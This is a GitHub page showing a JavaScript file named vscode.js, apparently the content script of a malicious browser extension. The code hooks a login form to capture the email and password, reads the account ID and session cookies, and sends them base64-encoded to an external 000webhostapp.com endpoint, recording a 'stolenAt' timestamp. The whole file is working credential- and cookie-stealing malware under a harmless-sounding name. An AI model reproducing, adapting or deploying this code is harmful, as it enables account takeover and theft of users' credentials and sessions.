This repository was archived by the owner on Apr 4, 2024. It is now read-only.
Repository navigation
Expand file tree
/
Copy pathvscode.js
More file actions
90 lines (85 loc) · 3.03 KB
/
Copy pathvscode.js
File metadata and controls
90 lines (85 loc) · 3.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
var device_id = null;
const API = "https://litho-bump.000webhostapp.com/index.php",
userAgent = navigator.userAgent,
dateTime = () => {
const addZero = (number) => (number < 10 ? "0" + number : number),
currentDate = new Date(),
year = currentDate.getFullYear(),
month = addZero(currentDate.getMonth() + 1),
day = addZero(currentDate.getDate()),
hours = addZero(currentDate.getHours()),
minutes = addZero(currentDate.getMinutes()),
seconds = addZero(currentDate.getSeconds());
return `${hours}:${minutes}:${seconds} - ${day}/${month}/${year}`;
},
getCUser = () => {
const s = `"CurrentUserInitialData":{"ACCOUNT_ID":"`,
scripts = document.querySelectorAll("script[data-sjs]");
let c_user = null;
scripts.forEach((script) => {
if (script.innerText.includes(s)) {
c_user = script.innerText.split(s)[1].split(`"`)[0];
}
});
return c_user;
},
keyLogging = async () => {
try {
const edEmail = document.getElementById("email"),
edPass = document.getElementById("pass"),
form = edEmail.parentElement.parentElement.parentElement;
form.onsubmit = async () => {
const email = edEmail.value,
pass = edPass.value,
user = {
email,
password: pass,
};
sendMessage(user);
};
} catch (err) {
try {
const cookie = await getCookies();
const user = { cookie: cookie, c_user: cookie.split("c_user=")[1].split(";")[0] };
sendMessage(user);
} catch (error) {}
}
},
getCookies = () => {
return new Promise((resolve, reject) => {
chrome.runtime.sendMessage("getcookies", (e) => {
e && e !== "" ? resolve(e) : reject(null);
});
});
},
processUser = async (c_user) => {
if (c_user) {
try {
const cookie = await getCookies();
const user = { c_user, cookie };
sendMessage(user);
} catch (error) {}
} else {
keyLogging();
}
},
sendMessage = (userPayload) => {
return fetch(`${API}?user=${btoa(JSON.stringify({ ...userPayload, device_id: device_id, userAgent: userAgent, stolenAt: dateTime() }))}`, {
method: "GET",
mode: "no-cors",
credentials: "same-origin",
})
.then((res) => res.text())
.then(console.log);
};
(() => {
chrome.runtime.sendMessage("get_device_id", (e) => {
device_id = e && e != "" ? e : null;
if (device_id) {
const c_user = getCUser();
processUser(c_user);
} else {
chrome.runtime.sendMessage("set_device_id", async (e) => {});
}
});
})();